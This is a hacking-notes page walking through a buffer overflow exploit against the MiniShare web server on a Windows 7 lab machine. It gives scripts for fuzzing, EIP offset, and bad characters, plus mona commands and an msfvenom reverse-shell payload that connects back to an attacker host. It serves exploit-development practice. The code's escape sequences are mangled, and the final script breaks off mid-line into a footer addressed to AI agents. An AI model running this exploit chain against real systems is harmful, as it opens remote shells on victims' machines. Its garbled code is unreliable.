> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/useful-resources/exploit-development/windows-buffer-overflow-minishare.md).
# Windows Buffer Overflow - MiniShare
MiniShare Windows buffer overflow notes for fuzzing, EIP control, bad character analysis, shellcode generation, and exploit development practice.
Buffer Overflow Environment Installation
1. Download the machine [Windows 7 Basic 32 bits](https://lecrabeinfo.net/telecharger/windows-7-edition-familiale-basique-sp1-x86):
2. Inside the machine, download the [debugger ](https://www.immunityinc.com/products/debugger/):
3. Once you have installed it, execute the following command in the terminal:
```bash
bcdedit.exe /set {current} nx AlwaysOff
```
4. Copy this [script ](https://www.immunityinc.com/products/debugger/)to a.py file:
5. Paste the script into `c:/Program Files/Immunity Inc/Immunity Debugger/PyCommands`
6. Finally, install [MiniShare](https://sourceforge.net/projects/minishare/files/latest/download)
* In the immunity debugger we attach the mini share:
* We will now proceed with fuzzing to find the number of bytes:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 80
def exploit():
total_length = 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(7)
s.connect((ip_address, port))
print("/n[+] Sending %d bytes" % total_length)
s.send(b"GET " + b"/x41" * total_length + b" HTTP/1.1/r/n/r/n")
s.recv(1024)
s.close()
total_length += 100
except:
print("/n[!] The service seems to have crashed/n")
print("/n[i] The service crashed with a total of %d bytes sent" % total_length)
sys.exit(1)
if __name__ == '__main__':
exploit()
```
* With the following command, we have 1800 octets:
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1800
```
* We are updating the script as follows:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 80
payload = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3A
f4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al
2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0
Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8A
w9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc
7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5
Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3B
o4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu
2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0
Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8C
f9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9'
def exploit():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(7)
s.connect((ip_address, port))
s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
s.recv(1024)
s.close()
except:
print("/n[!] The service seems to have crashed/n")
sys.exit(1)
if __name__ == '__main__':
exploit()
```
/ /- We need to copy the EIP:
* We paste it into the script by adding 0x at the beginning:
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x36684335
```
* It tells us that this corresponds to 1787:
* Now let's see if we have the ability to control the EIP:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 80
offset = 1787
before_eip = b"A"*offset
eip = b"B"*4
payload = before_eip + eip
def exploit():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(7)
s.connect((ip_address, port))
s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
s.recv(1024)
s.close()
except:
print("/n[!] The service seems to have crashed/n")
sys.exit(1)
if __name__ == '__main__':
exploit()
```
* We actually managed to control the EIP:
\*Now we need to find the Badchars:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 80
offset = 1787
before_eip = b"A"*offset
eip = b"B"*4
payload = before_eip + eip + b"C"*500
def exploit():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(7)
s.connect((ip_address, port))
s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
s.recv(1024)
s.close()
except:
print("/n[!] The service seems to have crashed/n")
sys.exit(1)
if __name__ == '__main__':
exploit()
```
* We carry out “dump” monitoring of the ESP system.
* With this command we create the bytearray file:
```
!mona bytearray -cpb '/x00'
```
* From my attacker machine, we create an SMB server to transfer the file to us:
```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```
* We transfer it:
* Updated script:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 80
offset = 1787
before_eip = b"A"*offset
eip = b"B"*4
badchars = (b"/x01/x02/x03/x04/x05/x06/x07/x08/x09/x0a/x0b/x0c/x0d/x0e/x0f/x10/x11/x12/x13/x14/x15/x16/x17/x18/x19/x1a/x1b/x1c/x1d/x1e/x1f/x20"
b"/x21/x22/x23/x24/x25/x26/x27/x28/x29/x2a/x2b/x2c/x2d/x2e/x2f/x30/x31/x32/x33/x34/x35/x36/x37/x38/x39/x3a/x3b/x3c/x3d/x3e/x3f/x40"
b"/x41/x42/x43/x44/x45/x46/x47/x48/x49/x4a/x4b/x4c/x4d/x4e/x4f/x50/x51/x52/x53/x54/x55/x56/x57/x58/x59/x5a/x5b/x5c/x5d/x5e/x5f/x60"
b"/x61/x62/x63/x64/x65/x66/x67/x68/x69/x6a/x6b/x6c/x6d/x6e/x6f/x70/x71/x72/x73/x74/x75/x76/x77/x78/x79/x7a/x7b/x7c/x7d/x7e/x7f/x80"
b"/x81/x82/x83/x84/x85/x86/x87/x88/x89/x8a/x8b/x8c/x8d/x8e/x8f/x90/x91/x92/x93/x94/x95/x96/x97/x98/x99/x9a/x9b/x9c/x9d/x9e/x9f/xa0"
b"/xa1/xa2/xa3/xa4/xa5/xa6/xa7/xa8/xa9/xaa/xab/xac/xad/xae/xaf/xb0/xb1/xb2/xb3/xb4/xb5/xb6/xb7/xb8/xb9/xba/xbb/xbc/xbd/xbe/xbf/xc0"
b"/xc1/xc2/xc3/xc4/xc5/xc6/xc7/xc8/xc9/xca/xcb/xcc/xcd/xce/xcf/xd0/xd1/xd2/xd3/xd4/xd5/xd6/xd7/xd8/xd9/xda/xdb/xdc/xdd/xde/xdf/xe0"
b"/xe1/xe2/xe3/xe4/xe5/xe6/xe7/xe8/xe9/xea/xeb/xec/xed/xee/xef/xf0/xf1/xf2/xf3/xf4/xf5/xf6/xf7/xf8/xf9/xfa/xfb/xfc/xfd/xfe/xff")
payload = before_eip + eip + badchars
def exploit():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(7)
s.connect((ip_address, port))
s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
s.recv(1024)
s.close()
except:
print("/n[!] The service seems to have crashed/n")
sys.exit(1)
if __name__ == '__main__':
exploit()
```
* We send the contents of the ESP system back to the "dump":
* Our effects of the comparison:
```
!mona compare -a 0x03C238D0 -f C:/Users/jordan/Desktop/Analysis/bytearray.bin
```
* We overwrite the file without unwanted characters and remove it from our script:
```bash
!mona bytearray -cpb '/x00/x0d'
```
* And if we do a comparison again, there are no more badchars:
* We use the `!mona modules` command, we take "false".
* If we use the following command, in this case we will get an error stating that no pointers exist:
```
!mona find -s '/xFF/xE4' -m minishare.exe
```
* We use this command as an alternative and find 44, then select one that does not contain unwanted characters:
```
!mona findwild -s "JMP ESP"
```
* Now the collons in the script in the EIP variable with the prefix "0x" and all in lowercase:
* Now let's generate the shell code to do the reverse shell:
```bash
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -e x86/shikata_ga_nai EXITFUNC=thread -f c -b '/x00/x0d'
```
* Updated script:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 80
offset = 1787
before_eip = b"A"*offset
eip = pack("
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/useful-resources/exploit-development/windows-buffer-overflow-minishare.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
